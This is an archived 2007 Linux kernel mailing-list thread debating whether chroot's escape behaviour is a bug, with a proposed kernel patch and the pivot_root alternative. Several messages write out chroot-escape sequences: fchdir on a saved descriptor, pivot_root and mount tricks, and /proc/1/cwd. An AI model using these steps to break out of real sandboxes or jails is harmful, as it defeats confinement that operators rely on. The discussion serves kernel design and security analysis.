Skip to contentSkip to conversation

sys_chroot+sys_fchdir Fix

DISCUSSION Bodo Eggert 18 participants 63 messages Sep 20, 2007 – Sep 27, 2007 11 messages not in the archive VFS

lore
Share & tools
lore

A message that is not in the archive (sent off-list or not yet received): [email protected]

A message that is not in the archive (sent off-list or not yet received): [email protected]

A message that is not in the archive (sent off-list or not yet received): [email protected]

A message that is not in the archive (sent off-list or not yet received): [email protected]

A message that is not in the archive (sent off-list or not yet received): [email protected]

#5 lore raw
Quoted 8 lines · David Newall
Quoted 2 lines

Normal users cannot use chroot() themselves so they can't use chroot to get back out

I think Bill is right, that this is to fix a method that non-root processes can use to escape their chroot. The exploit, which is documented in chroot(2)*, is to chdir("..") your way out. Who'd have thought it? Only root can do that, but even that seems wrong. Chroot should be chroot and that should be the end of it.

chroot with having open directories outside the chroot is a convenience feature, allowing e.g. to install programs into a different root while opening the archives from another root tree. Only if there is a working capability system preventing root from accessing the hardware*, a chroot may become a security feature.

Off cause having the new fchdir, you might run "chroot /var/foo 3< /" in order to pass a dir filehandle and compromise your own security, but this is nothin a system should protect against.

The only problem I'm concerned about is passing a file descriptor to a privileged, compromised process using an abstract unix socket. This combines two different privileges, possibly increasing the impact of the attack. I think it may be enough to not allow passing directory fds if the two processes have different device/inode/namespace, but I'm not sure about device fds.

*) chmod u+s binary; su nobody; exec binary; mount tmpfs /; mknod dev_mem
should be enough to void most root-in-chroot setups. Very untested.

Signature · 4 lines
Funny quotes:
26. If you take an Oriental person and spin him around several times, does he
    become disoriented?
Friß, Spammer: [email protected] [email protected]
#6 lore raw

Please, everybody,

don't change that.

I'm currently using that *feature* (yes, I see it as that) in my fsvs-chrooter-utility (see
http://fsvs.tigris.org/source/browse/*checkout*/fsvs/trunk/www/doxygen/html/group__howto__chroot.html)
for easier usage of fsvs on older systems.

- User starts a small wrapper,
- that opens "/",
- chroot()s into a directory and starts fsvs.
- fsvs gets its libraries loaded
- and chroot()s back to the original system.

Voila! fsvs can use the newest available libraries for that architecture, without having to change the installed system.

Please, keep that feature - as already mentioned, UID 0 is required anyway, and such processes can get out of (nearly) anything.

Regards,

Phil

Signature · 2 lines
Versioning your /etc, /home or even your whole installation?
             Try fsvs (fsvs.tigris.org)!
#7 lore raw

Philipp Marek napsal(a):

Quoted 9 lines

Please, everybody,

don't change that.

I'm currently using that *feature* (yes, I see it as that) in my fsvs-chrooter-utility (see
http://fsvs.tigris.org/source/browse/*checkout*/fsvs/trunk/www/doxygen/html/group__howto__chroot.html)
for easier usage of fsvs on older systems.

Quoted 10 lines

- User starts a small wrapper,
- that opens "/",
- chroot()s into a directory and starts fsvs.
- fsvs gets its libraries loaded
- and chroot()s back to the original system.

Voila! fsvs can use the newest available libraries for that architecture, without having to change the installed system.

So I thing this is an example how chroot would not be really used. For DSO loading there is many better ways to load own DSO. Though is this feature described in chroot() manpage, I have not noticed that any serious project uses it. But ok, this is a ferature of chroot(). Also FreeBSD does not support escaping chroot AFAIK. So this feature is very badly portable.

Miloslav

#8 lore raw
In reply to Philipp Marek
Quoted 5 lines · Philipp Marek

- User starts a small wrapper,
- that opens "/",
- chroot()s into a directory and starts fsvs.
- fsvs gets its libraries loaded
- and chroot()s back to the original system.

Isn't that what pivot_root was meant for?

#9 lore raw
Quoted 8 lines · On Thursday 20 September 2007 David Newall wrote:
Quoted 5 lines · Philipp Marek

- User starts a small wrapper,
- that opens "/",
- chroot()s into a directory and starts fsvs.
- fsvs gets its libraries loaded
- and chroot()s back to the original system.

Isn't that what pivot_root was meant for?

AFAIK pivot_root() changes the / mapping for *all* processes, no?

I just wanted to give *this* single process completely new library paths, even for delay-loaded things (like libnss) ...

Regards,

Phil

Signature · 2 lines
Versioning your /etc, /home or even your whole installation?
             Try fsvs (fsvs.tigris.org)!
#10 lore raw
Quoted 2 lines · Philipp Marek

AFAIK pivot_root() changes the / mapping for *all* processes, no?

The manual page is confusing. It even admits to being "intentionally vague". However the goal seems clear:

"pivot_root() moves the root file system of the current process to the directory put_old and makes new_root the new root file system of the current process"
-- man 2 pivot_root

There's an argument that pivot_root could be improved...

#11 lore raw
Quoted 4 lines · David Newall
Quoted 2 lines · Philipp Marek

AFAIK pivot_root() changes the / mapping for *all* processes, no?

Quoted 9 lines

The manual page is confusing. It even admits to being "intentionally vague". However the goal seems clear:

"pivot_root() moves the root file system of the current process to the directory put_old and makes new_root the new root file system of the current process"
-- man 2 pivot_root

There's an argument that pivot_root could be improved...

And very little argument that the man page could be improved, perhaps. However, there is no question that pivot_root is intended to have breadth for more than one process.

Keeping this functionality sounds a little like putting a bow tie and tux on your bug and calling it a "feature." Not all bugs are useless for legitimate purposes, but it doesn't make them safe. It appears to be a sort-of way to get per-process bind mounts.

Signature · 3 lines
bill davidsen <[email protected]>
 CTO TMR Associates, Inc
 Doing interesting things with small computers since 1979
#12 lore raw
Quoted 1 line · Bill Davidsen

there is no question that pivot_root is intended to have breadth for more than one process.

I think it's clear from the man page that the original idea was to be able to pivot_root for individual processes. The reason it doesn't do that, the reason it affects all processes, is to work around the bootstrap problem, where processes that don't care what their root (or current) directory is are still using the original root.

An extra parameter could be added to specify which behavior is desired, probably defaulting to the current behavior. That would remove the need to use a chroot bug.

#13 lore raw
Quoted 10 lines · David Newall
Quoted 2 lines · Bill Davidsen

there is no question that pivot_root is intended to have breadth for more than one process.

I think it's clear from the man page that the original idea was to be able to pivot_root for individual processes. The reason it doesn't do that, the reason it affects all processes, is to work around the bootstrap problem, where processes that don't care what their root (or current) directory is are still using the original root.

Quoted 3 lines

An extra parameter could be added to specify which behavior is desired, probably defaulting to the current behavior. That would remove the need to use a chroot bug.

No reason for any new parameters to pivot_root. Just clone your mounts namespace first.

	unshare(CLONE_NEWNS);
	chdir(new_dir);
	pivot_root(new_dir, oldroot);

Since pivot_root actually fiddles with the vfsmnts, this is really the only way to go about having it "work with just one process".

-serge

#14 lore raw
Quoted 9 lines · Serge E. Hallyn

No reason for any new parameters to pivot_root. Just clone your mounts namespace first.

	unshare(CLONE_NEWNS);
	chdir(new_dir);
	pivot_root(new_dir, oldroot);

Since pivot_root actually fiddles with the vfsmnts, this is really the only way to go about having it "work with just one process".

I think the point is that, whereas we'd like to be able to pivot the root for a single process, in practice this causes startup issues to which the easy solution is to pivot the whole system. At least that's my reading of the man page.

It might be tidy if pivot_root could be used (instead of a hack based on a chroot bug), but it'd still be unportable.

#15 lore raw
Quoted 11 lines · David Newall
Quoted 9 lines · Serge E. Hallyn

No reason for any new parameters to pivot_root. Just clone your mounts namespace first.

	unshare(CLONE_NEWNS);
	chdir(new_dir);
	pivot_root(new_dir, oldroot);

Since pivot_root actually fiddles with the vfsmnts, this is really the only way to go about having it "work with just one process".

Quoted 7 lines

I think the point is that, whereas we'd like to be able to pivot the root for a single process, in practice this causes startup issues to which the easy solution is to pivot the whole system. At least that's my reading of the man page.

It might be tidy if pivot_root could be used (instead of a hack based on a chroot bug), but it'd still be unportable.

It can.

Please re-read my previous msg.

-serge

#16 lore raw
Quoted 8 lines · Serge E. Hallyn
Quoted 2 lines · David Newall

It might be tidy if pivot_root could be used (instead of a hack based on a chroot bug), but it'd still be unportable.

It can.

Please re-read my previous msg.

I read it. Currently pivot_root can't be used to affect a single process. It can be modified; obviously. Maybe it should be, too, but is there a need for that?

#17 lore raw
Quoted 7 lines · David Newall
Quoted 6 lines · Serge E. Hallyn
Quoted 3 lines · David Newall

It might be tidy if pivot_root could be used (instead of a hack based on a chroot bug), but it'd still be unportable.

Quoted 5 lines
Quoted 3 lines

It can.

Please re-read my previous msg.

I read it. Currently pivot_root can't be used to affect a single process.

No. If you unshare your mounts namespace immediately before pivot_root, then pivot_root will only affect that single process.

Quoted 2 lines

It can be modified; obviously. Maybe it should be, too, but is there a need for that?

-serge

#18 lore raw
Quoted 12 lines · Serge E. Hallyn
Quoted 10 lines · David Newall
Quoted 8 lines · Serge E. Hallyn
Quoted 3 lines · David Newall

It might be tidy if pivot_root could be used (instead of a hack based on a chroot bug), but it'd still be unportable.

It can.

Quoted 8 lines
Quoted 4 lines
Quoted 2 lines

Please re-read my previous msg.

I read it. Currently pivot_root can't be used to affect a single process.

No. If you unshare your mounts namespace immediately before pivot_root, then pivot_root will only affect that single process.

Bugger. You're right, I didn't read your previous message; I thought I had but I was wrong.

Quoted 3 lines
Quoted 3 lines
	unshare(CLONE_NEWNS);
	chdir(new_dir);
	pivot_root(new_dir, oldroot);

After further RTFMing, and assuming "any processes or threads which use the old root directory" means what you imply, and surely it does, then I agree: pivot_root already does the job. Does anybody still need to use a bug in chroot?

#19 lore raw

Chroot bug (was: sys_chroot+sys_fchdir Fix)

Miloslav Semler pointed out that a root process can chdir("..") out of its chroot. Although this is documented in the man page, it conflicts with the essential function, which is to change the root directory of the process. In addition to any creative uses, for example Philipp Marek's loading dynamic libraries, it seems clear that the prime purpose of chroot is to aid security. Being able to cd your way out is handy for the bad guys, but the good guys don't need it; there are a thousand better, safer solutions.

If there truly is a need to be able to pop in and out of a chroot, then the solution should be obvious, such as with real versus effective user and group ids. An important quality of a solution would be a way to fix that essential function: to set the root in such a way that you can no longer pop out. But that is a separate question.

The question: is chroot buggy? I'm pleased to turn to SCO for an independent definition for chroot, from which I get the following:

http://osr600doc.sco.com/en/man/html.S/chroot.S.html:

Quoted 3 lines

The *..* entry in the root directory is interpreted to mean the root directory itself. Thus, *..* cannot be used to access files outside the subtree rooted at the root directory.

I argue chroot is buggy. Miloslav's patch might not be the right solution, but he has the right idea (i.e. fix it.)

#20 lore raw

Re: Chroot bug (was: sys_chroot+sys_fchdir Fix)

Quoted 8 lines · David Newall

Miloslav Semler pointed out that a root process can chdir("..") out of its chroot. Although this is documented in the man page, it conflicts with the essential function, which is to change the root directory of the process. In addition to any creative uses, for example Philipp Marek's loading dynamic libraries, it seems clear that the prime purpose of chroot is to aid security. Being able to cd your way out is handy for the bad guys, but the good guys don't need it; there are a thousand better, safer solutions.

So what? Just do this: chdir into the root after chroot.

It won't conform to SVR4/4.4BSD anymore, but hey, let Linux set some sane standard ain't bad either. I doubt anyone really relies on the fact that after chroot, your cwd might be outside the root.

---
 fs/open.c |    1 +
 1 file changed, 1 insertion(+)
fs/open.c +1 -0
Index: linux-2.6.23/fs/open.c
===================================================================
@@ -547,6 +547,7 @@ asmlinkage long sys_chroot(const char __
 
 	set_fs_root(current->fs, nd.mnt, nd.dentry);
 	set_fs_altroot();
+	set_fs_pwd(current->fs, nd.mnt, nd.dentry);
 	error = 0;
 dput_and_out:
 	path_release(&nd);
#21 lore raw

Re: Chroot bug

Quoted 6 lines · Jan Engelhardt
Quoted 2 lines · David Newall

Miloslav Semler pointed out that a root process can chdir("..") out of its chroot.

So what? Just do this: chdir into the root after chroot.

I don't think so. His exploit just got me all the way out of a chroot within a chroot within a chroot, inclusive of lots of chdirs.

#22 lore raw

Re: Chroot bug

Quoted 9 lines · David Newall
Quoted 5 lines · Jan Engelhardt
Quoted 2 lines · David Newall

Miloslav Semler pointed out that a root process can chdir("..") out of its chroot.

So what? Just do this: chdir into the root after chroot.

I don't think so. His exploit just got me all the way out of a chroot within a chroot within a chroot, inclusive of lots of chdirs.

Close all fds that point to directories outside the root ;-)

#23 lore raw

Re: Chroot bug

Quoted 10 lines
Quoted 6 lines
Quoted 3 lines

So what? Just do this: chdir into the root after chroot.

I don't think so. His exploit just got me all the way out of a chroot within a chroot within a chroot, inclusive of lots of chdirs.

Close all fds that point to directories outside the root ;-)

This does not help. Let's try:
chroot somewhere
mkdir foo
fd = open /
chroot foo
fchdir fd
chdir ".."
....
chdir ".."
chroot "."
so you are in root.

#24 lore raw

Re: Chroot bug

Quoted 7 lines · Miloslav Semler
Quoted 7 lines
Quoted 6 lines
Quoted 2 lines

So what? Just do this: chdir into the root after chroot.

I don't think so. His exploit just got me all the way out of a chroot within a
chroot within a chroot, inclusive of lots of chdirs.

Quoted 7 lines
Quoted 2 lines

Close all fds that point to directories outside the root ;-)

This does not help. Let's try:
chroot somewhere
mkdir foo
fd = open /
chroot foo

('fd' implicitly closed and chdir to /foo)

Quoted 1 line

fchdir fd

-EINVAL

Quoted 1 line

chdir ".."

/../ => /

Quoted 4 lines

....
chdir ".."
chroot "."
so you are in root.

so we remain in chroot.

#25 lore raw

Re: Chroot bug

Quoted 10 lines
Quoted 7 lines

This does not help. Let's try:
chroot somewhere
mkdir foo
fd = open /
chroot foo

('fd' implicitly closed and chdir to /foo)

Really? Try it. I am sure, that this works. You can create directory in chroot and break chroot by this. fd is not closed, because linux doesn't close descriptors by chroot syscall. this can be done every time if you have CAP_SYS_CHROOT.

Quoted 21 lines
Quoted 3 lines

fchdir fd

-EINVAL

Quoted 2 lines

chdir ".."

/../ => /

Quoted 5 lines

....
chdir ".."
chroot "."
so you are in root.

so we remain in chroot.

#26 lore raw

Re: Chroot bug

Quoted 7 lines · Miloslav Semler
Quoted 7 lines
Quoted 6 lines

This does not help. Let's try:
chroot somewhere
mkdir foo
fd = open /
chroot foo

Quoted 6 lines
Quoted 2 lines

('fd' implicitly closed and chdir to /foo)

Really? Try it. I am sure, that this works. You can create directory in chroot and break chroot by this. fd is not closed, because linux doesn't close descriptors by chroot syscall. this can be done every time if you have CAP_SYS_CHROOT.

In case you have not followed my earlier email, I'll repost:

|>> So what? Just do this: chdir into the root after chroot.
|>
|> I don't think so.  His exploit just got me all the way out of a 
|> chroot within a chroot within a chroot, inclusive of lots of 
|> chdirs.
|>
|
|Close all fds that point to directories outside the root ;-)

Perhaps that was formulated a bit sloppy. It of course means "On chroot(2), implicitly close all FDs that point outside."

#27 lore raw

Re: Chroot bug

Jan Engelhardt napsal(a):

Quoted 27 lines · Miloslav Semler
Quoted 8 lines
Quoted 8 lines
Quoted 8 lines

This does not help. Let's try:
chroot somewhere
mkdir foo
fd = open /
chroot foo

Quoted 8 lines
Quoted 3 lines

('fd' implicitly closed and chdir to /foo)

Really? Try it. I am sure, that this works. You can create directory in chroot and break chroot by this. fd is not closed, because linux doesn't close descriptors by chroot syscall. this can be done every time if you have CAP_SYS_CHROOT.

In case you have not followed my earlier email, I'll repost:

|>> So what? Just do this: chdir into the root after chroot.
|>
|> I don't think so.  His exploit just got me all the way out of a |> chroot within a chroot within a chroot, inclusive of lots of |> chdirs.
|>
|
|Close all fds that point to directories outside the root ;-)
Quoted 3 lines

Perhaps that was formulated a bit sloppy. It of course means "On chroot(2), implicitly close all FDs that point outside."

yes, but I can use fds from chroot ;-) ....

#28 lore raw

Re: Chroot bug

In reply to Jan Engelhardt
Quoted 2 lines · Jan Engelhardt

Perhaps that was formulated a bit sloppy. It of course means "On chroot(2), implicitly close all FDs that point outside."

Bollocks. Pack 'em into SCM_RIGHTS datagram, send to yourself, do chroot, recvmsg() and move on, cheerfully spitting at the YAidiotic "hardening".

#29 lore raw

Re: Chroot bug

Quoted 12 lines · Jan Engelhardt
Quoted 5 lines

Perhaps that was formulated a bit sloppy. It of course means "On chroot(2), implicitly close all FDs that point outside."

Bollocks. Pack 'em into SCM_RIGHTS datagram, send to yourself, do chroot, recvmsg() and move on, cheerfully spitting at the YAidiotic "hardening".

so if you check sanity in fchdir (if directory_is_out), your method will not succeed :)

#30 lore raw

Re: Chroot bug

In reply to Miloslav Semler
Quoted 11 lines · Miloslav Semler
Quoted 11 lines
Quoted 7 lines
Quoted 3 lines

So what? Just do this: chdir into the root after chroot.

I don't think so. His exploit just got me all the way out of a chroot within a
chroot within a chroot, inclusive of lots of chdirs.

Close all fds that point to directories outside the root ;-)

Quoted 12 lines

This does not help. Let's try:
chroot somewhere
mkdir foo
fd = open /
chroot foo
fchdir fd
chdir ".."
....
chdir ".."
chroot "."
so you are in root.

Yes, to understand why that doesn't work it helps to understand why pivot_root *does* work. Pivot_root takes the new_root, which must be a mount, and detaches it from it's mountpoint. So it's not that we try to intercept a chdir(root_dir/..), but rather we remove root_dir from it's parent dir so that root_dir/.. must always return root_dir.

I'm sorry but I really don't see where hacking chroot to try and detect and prevent chroot escapes is going to be acceptable to anyone so long as pivot_root does the trick anyway. If you want portable, then write a little linux-only safe_chroot() library call which does unshare();pivot_root() on linux and just chroot on a system that does try to stop chroot escapes.

Besides as others have alluded to, if you have root privs, you can always mknod /dev/hda1, mount that under /mnt, and then chroot or pivot_root to there.

The containers work will, in fact, be intended to be a *safe* jail. That'll happen through pivot_root, capability masking, perhaps device namespaces, etc. But a secure container is still a ways off.

-serge

#31 lore raw

Re: Chroot bug

In reply to Jan Engelhardt
Quoted 10 lines · Jan Engelhardt
Quoted 8 lines · David Newall
Quoted 6 lines · Jan Engelhardt
Quoted 3 lines · David Newall

Miloslav Semler pointed out that a root process can chdir("..") out of its chroot.

Quoted 8 lines
Quoted 5 lines
Quoted 2 lines

So what? Just do this: chdir into the root after chroot.

I don't think so. His exploit just got me all the way out of a chroot within a chroot within a chroot, inclusive of lots of chdirs.

Close all fds that point to directories outside the root ;-)

Nope, still gets out.

#32 lore raw

Re: Chroot bug

In reply to Jan Engelhardt
Quoted 12 lines · David Newall
Quoted 9 lines

Miloslav Semler pointed out that a root process can chdir("..") out of its chroot. Although this is documented in the man page, it conflicts with the essential function, which is to change the root directory of the process. In addition to any creative uses, for example Philipp Marek's loading dynamic libraries, it seems clear that the prime purpose of chroot is to aid security. Being able to cd your way out is handy for the bad guys, but the good guys don't need it; there are a thousand better, safer solutions.

Quoted 6 lines

So what? Just do this: chdir into the root after chroot.

It won't conform to SVR4/4.4BSD anymore, but hey, let Linux set some sane standard ain't bad either. I doubt anyone really relies on the fact that after chroot, your cwd might be outside the root.

so then you corrupt pwd. I think that working directory should be set only if it is necessary. Fn directory_is_out is not big performace loss. And also you can break this fix with fchdir.

Miloslav

#33 lore raw

Re: Chroot bug (was: sys_chroot+sys_fchdir Fix)

In reply to David Newall
Quoted 2 lines

Marek's loading dynamic libraries, it seems clear that the prime purpose of chroot is to aid security. Being able to cd your way out is handy

Does it - I can't find any evidence for that. I think you are confusing containers and chroot. They are quite different things. A root user can get out of a chroot a million different ways

Alan

#34 lore raw

Re: Chroot bug

Quoted 4 lines · Alan Cox
Quoted 2 lines

Marek's loading dynamic libraries, it seems clear that the prime purpose of chroot is to aid security. Being able to cd your way out is handy

Does it - I can't find any evidence for that.

It seems self-evident to me. What do you think is it prime purpose?

Quoted 1 line

A root user can get out of a chroot a million different ways

One of those ways shouldn't be that chroot lets you out.

#35 lore raw

Re: Chroot bug

Quoted 8 lines · On Wed, 26 Sep 2007 01:05:07 +0930 David Newall <[email protected]> wrote:
Quoted 5 lines · Alan Cox
Quoted 3 lines

Marek's loading dynamic libraries, it seems clear that the prime purpose of chroot is to aid security. Being able to cd your way out is handy

Does it - I can't find any evidence for that.

It seems self-evident to me. What do you think is it prime purpose?

Debugging and testing. At least that is as I understand it much of where it came from.

Quoted 2 lines
Quoted 1 line

A root user can get out of a chroot a million different ways

One of those ways shouldn't be that chroot lets you out.

A fence with 10000 open gates is not improved by turning it into a fence with 9999 open gates.

#36 lore raw

Re: Chroot bug

Quoted 7 lines · Alan Cox
Quoted 6 lines · David Newall
Quoted 5 lines · Alan Cox
Quoted 4 lines

Marek's loading dynamic libraries, it seems clear that the prime purpose of chroot is to aid security. Being able to cd your way out is handy

Quoted 8 lines
Quoted 3 lines
Quoted 1 line

Does it - I can't find any evidence for that.

It seems self-evident to me. What do you think is it prime purpose?

Debugging and testing. At least that is as I understand it much of where it came from.

Quoted 1 line
Quoted 1 line

A root user can get out of a chroot a million different ways

Uhm, you _do_ have considered the case of setuid(non-0)-after-chroot, have not you?

#37 lore raw

Re: Chroot bug

In reply to Alan Cox
Quoted 7 lines · Alan Cox
Quoted 5 lines · On Wed, 26 Sep 2007 01:05:07 +0930 David Newall <[email protected]> wrote:
Quoted 3 lines · Alan Cox
Quoted 3 lines

Marek's loading dynamic libraries, it seems clear that the prime purpose of chroot is to aid security. Being able to cd your way out is handy

Quoted 8 lines
Quoted 4 lines
Quoted 2 lines

Does it - I can't find any evidence for that.

It seems self-evident to me. What do you think is it prime purpose?

Debugging and testing. At least that is as I understand it much of where it came from.

Good call. Though I suppose, since it's used 24x7 to aid security on countless production servers, that security dwarfs testing. Still, debugging, yes that's valid.

I don't suppose it makes and difference; whatever the purpose, a chroot that doesn't change the root is buggy.

#38 lore raw

Re: Chroot bug

Quoted 6 lines

Good call. Though I suppose, since it's used 24x7 to aid security on countless production servers, that security dwarfs testing. Still, debugging, yes that's valid.

I don't suppose it makes and difference; whatever the purpose, a chroot that doesn't change the root is buggy.

It does change the root, it just doesn't guarantee you can't change it back - which is correct POSIX, Unix, SuS behaviour. So either everyone else is wrong or you are.. I know who I am betting on

#39 lore raw

Re: Chroot bug

Quoted 9 lines · Alan Cox
Quoted 4 lines

Good call. Though I suppose, since it's used 24x7 to aid security on countless production servers, that security dwarfs testing. Still, debugging, yes that's valid.

I don't suppose it makes and difference; whatever the purpose, a chroot that doesn't change the root is buggy.

It does change the root, it just doesn't guarantee you can't change it back - which is correct POSIX, Unix, SuS behaviour. So either everyone else is wrong or you are.. I know who I am betting on

Charming. They really say that, do they? Where? I find no such thing, and I looked. I did find Open Groups SuS which, similar to SCO's UNIX, says:

Quoted 1 line

The dot-dot entry in the root directory is interpreted to mean the root directory itself. Thus, dot-dot cannot be used to access files outside the subtree rooted at the root directory.

I feel I've presented a good case that that it's a bug. You made a somewhat rude counter-claim, which I don't ascribe to malevolence. You're simply disinterested. Nobody else cares, so why expend effort on it, right? I'll let it drop, but it is a bug.

#40 lore raw

Re: Chroot bug

Quoted 3 lines
Quoted 3 lines

The dot-dot entry in the root directory is interpreted to mean the root directory itself. Thus, dot-dot cannot be used to access files outside the subtree rooted at the root directory.

Which is behaviour chroot preserves properly.

The specification says explicitly

"The process working directory is unaffected by chroot()."

chroot is not and never has been a security tool. People have built things based upon the properties of chroot but extended (BSD jails, Linux vserver) but they are quite different.

You could probably write yourself an LSM module to do this too

Alan

#41 lore raw

Re: Chroot bug

Quoted 5 lines · Alan Cox
Quoted 2 lines
Quoted 2 lines

The dot-dot entry in the root directory is interpreted to mean the root directory itself. Thus, dot-dot cannot be used to access files outside the subtree rooted at the root directory.

Which is behaviour chroot preserves properly.

And yet it is the dot-dot entry which is used to access files outside the root.

Quoted 4 lines

The specification says explicitly

"The process working directory is unaffected by chroot()."

Do you believe that when those words were first written, the hidden conflict, namely that it permits dot-dot to access files outside the subtree, was understood? They would have said so if that were the case.

#42 lore raw

Re: Chroot bug

Quoted 9 lines
Quoted 7 lines
Quoted 4 lines
Quoted 4 lines

The dot-dot entry in the root directory is interpreted to mean the root directory itself. Thus, dot-dot cannot be used to access files outside the subtree rooted at the root directory.

Which is behaviour chroot preserves properly.

And yet it is the dot-dot entry which is used to access files outside the root.

Read it again, and read all the words. Notably "the dot-dot entry *IN* the root directory". When your current directory is above your root directory you do not pass through that dot-dot entry.

Quoted 3 lines

Do you believe that when those words were first written, the hidden conflict, namely that it permits dot-dot to access files outside the subtree, was understood?

Yes. You need to remember the notion of chroot for "security" is a very new one, and not one that it was designed for. Which as I've said twice now is why things like vserver and BSD jails have evolved.

Alan

A message that is not in the archive (sent off-list or not yet received): [email protected]

A message that is not in the archive (sent off-list or not yet received): [email protected]

#45 lore raw

Re: Chroot bug

Alan Cox napsal(a):

Quoted 7 lines
Quoted 2 lines

but many program use this as security feature. So do you think that bind may use vserver?

It would be a lot stronger if it did. A bind running non-root will be probably safe. A bind running as root can be attacked and break out of a chroot trivially. I guess it depends how you run bind.

but not bind with selinux. It can chroot, but not does other things. So there is an question: Why we do not fix it. Tell me please some other reason than "you can workaround chroot other ways".

#46 lore raw

Re: Chroot bug

Quoted 5 lines · On Wed, 26 Sep 2007 13:34:53 +0200 Miloslav Semler <[email protected]> wrote:

Alan Cox napsal(a):

Quoted 4 lines
Quoted 3 lines

but many program use this as security feature. So do you think that bind may use vserver?

Quoted 7 lines
Quoted 4 lines

It would be a lot stronger if it did. A bind running non-root will be probably safe. A bind running as root can be attacked and break out of a chroot trivially. I guess it depends how you run bind.

but not bind with selinux. It can chroot, but not does other things. So there is an question: Why we do not fix it. Tell me please some other reason than "you can workaround chroot other ways".

If you are using SELinux you don't need chroot for the security in the first place you can use labels and LSM modules can also handle things like ptrace which permit trivial escapes.

Alan

#47 lore raw

Re: Chroot bug

In reply to David Newall
Quoted 10 lines · On Wednesday 26 September 2007 13:06:51 David Newall wrote:
Quoted 5 lines · Alan Cox
Quoted 3 lines
Quoted 3 lines

The dot-dot entry in the root directory is interpreted to mean the root directory itself. Thus, dot-dot cannot be used to access files outside the subtree rooted at the root directory.

Which is behaviour chroot preserves properly.

And yet it is the dot-dot entry which is used to access files outside the root.

Quoted 7 lines
Quoted 3 lines

The specification says explicitly

"The process working directory is unaffected by chroot()."

Do you believe that when those words were first written, the hidden conflict, namely that it permits dot-dot to access files outside the subtree, was understood? They would have said so if that were the case.

You seem to be misunderstanding what Alan is trying to say to you, if your program calls chroot, it's working directory is unaffected. Programs that are started in the chrooted root, will be affected.

i.e. if you run chroot in bash, the bash process's CWD is not affected and bash can escape the chrooted root, but if you run ls .., it will not escape.

If you do not get too emotional, you tend to understand what people are trying to say.

#48 lore raw

Re: Chroot bug

In reply to David Newall
Quoted 13 lines · David Newall
Quoted 12 lines · Alan Cox
Quoted 9 lines · On Wed, 26 Sep 2007 01:05:07 +0930 David Newall <[email protected]> wrote:
Quoted 5 lines · Alan Cox
Quoted 3 lines

Marek's loading dynamic libraries, it seems clear that the prime purpose of chroot is to aid security. Being able to cd your way out is handy

Does it - I can't find any evidence for that.

It seems self-evident to me. What do you think is it prime purpose?

Quoted 7 lines
Quoted 3 lines

Debugging and testing. At least that is as I understand it much of where it came from.

Good call. Though I suppose, since it's used 24x7 to aid security on countless production servers, that security dwarfs testing. Still, debugging, yes that's valid.

Incompetent people implementing security solutions are a real problem.

Quoted 2 lines

I don't suppose it makes and difference; whatever the purpose, a chroot that doesn't change the root is buggy.

It does change the root.

But it does not limit what the root user can do after the root was changed.

cu
Adrian

Signature · 4 lines
       "Is there not promise of rain?" Ling Tan asked suddenly out
        of the darkness. There had been need of rain for many days.
       "Only a promise," Lao Er said.
                                       Pearl S. Buck - Dragon Seed
#49 lore raw

Re: Chroot bug

Quoted 10 lines · Adrian Bunk
Quoted 1 line · David Newall

Good call. Though I suppose, since it's used 24x7 to aid security on countless production servers, that security dwarfs testing. Still, debugging, yes that's valid.

Incompetent people implementing security solutions are a real problem.

Quoted 1 line

I don't suppose it makes and difference; whatever the purpose, a chroot that doesn't change the root is buggy.

It does change the root.

But it does not limit what the root user can do after the root was changed.

This is required for most distro installers to work:

*Procedure to install files*
chroot /target
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t tmpfs tmpfs /dev
udevd --daemon
udevtrigger
udevsettle
mount /dev/cdrom0 /media/cdrom0
*Load more kernel modules*
*Procedure to configure newly-installed system* *Do other highly-privileged operations* *Configure networking and submit installation report* *Reboot*

David, please do tell myself and Adrian how "locking down" chroot() the way you want will avoid letting root break out through any of the above ways?

Hell, after you chroot one could probably just run:
mount --bind /minimal_root /minimal_root
cd /minimal_root
mkdir old
pivot_root . old
cd /old
mkdir old_minimal_root
pivot_root . old_minimal_root
umount /old_minimal_root
rmdir /old_minimal_root
Now, like magic, the entire system is once more accessible.

Alternatively you could:
mount -t proc proc /proc
cat /proc/1/mounts
mount -t $ROOTFS_FROM_PROC $ROOTDEV_FROM_PROC /

Either way root can trivially break out of any chroot using FUNDAMENTAL PRIMITIVES that he/she always has access to. If you want to take those away you have to use SELinux or capabilities, in which case you could just take away the CAP_SYS_CHROOT capability in the first place!

Cheers,
Kyle Moffett

#50 lore raw

Re: Chroot bug

On Wed, Sep 26, 2007 at 01:21:08AM -0400, Kyle Moffett wrote:
(...)

Quoted 6 lines

Now, like magic, the entire system is once more accessible.

Alternatively you could:
mount -t proc proc /proc
cat /proc/1/mounts
mount -t $ROOTFS_FROM_PROC $ROOTDEV_FROM_PROC /

Since 2.6.20, it was even simpler :
mount -t proc proc /proc
cd /proc/1/cwd

Cheers,
Willy

#51 lore raw

Re: Chroot bug

In reply to Kyle Moffett
Quoted 1 line · Kyle Moffett

David, please do tell myself and Adrian how "locking down" chroot() the way you want will avoid letting root break out through any of the above ways?

As has been said, there are thousands of ways to break out of a chroot. It's just that one of them should not be that chroot lets you walk out. I can't explain it clearer than that. If you don't see it now you probably never will.

#52 lore raw

Re: Chroot bug

Quoted 2 lines · David Newall

As has been said, there are thousands of ways to break out of a chroot. It's just that one of them should not be that chroot lets you walk out.

chroot does not allow you to walk out if you're in. It only allows you to walk outside if you're *already* out. That's the way it is defined. Those who want some kind of chroot for security reasons should look at (BSD's ?) jail, and/or hypervisors.

OG.

#53 lore raw

Re: Chroot bug

Quoted 1 line · Olivier Galibert

chroot does not allow you to walk out if you're in.

You're mistaken. Or more properly, further use of chroot lets you walk out. This really has been said before, and before, and before.

chroot("subtree"); // enter chroot
chdir("/"); // now at subtree
chroot("/tmp"); // now outside of chroot

BSD redefined chroot so that the working directory is set to the new root on subsequent uses of chroot; that's how they solved the bug.

#54 lore raw

Re: Chroot bug

Quoted 6 lines · David Newall
Quoted 1 line · Olivier Galibert

chroot does not allow you to walk out if you're in.

You're mistaken. Or more properly, further use of chroot lets you walk out. This really has been said before, and before, and before.

Quoted 7 lines

chroot("subtree"); // enter chroot
chdir("/"); // now at subtree
chroot("/tmp"); // now outside of chroot

BSD redefined chroot so that the working directory is set to the new root on subsequent uses of chroot; that's how they solved the bug.

I don't know that the so-called requirements are, but if you have a distribution tree mounted on /mnt and you perform the following operations:

cd /mnt
chroot . bin/bash

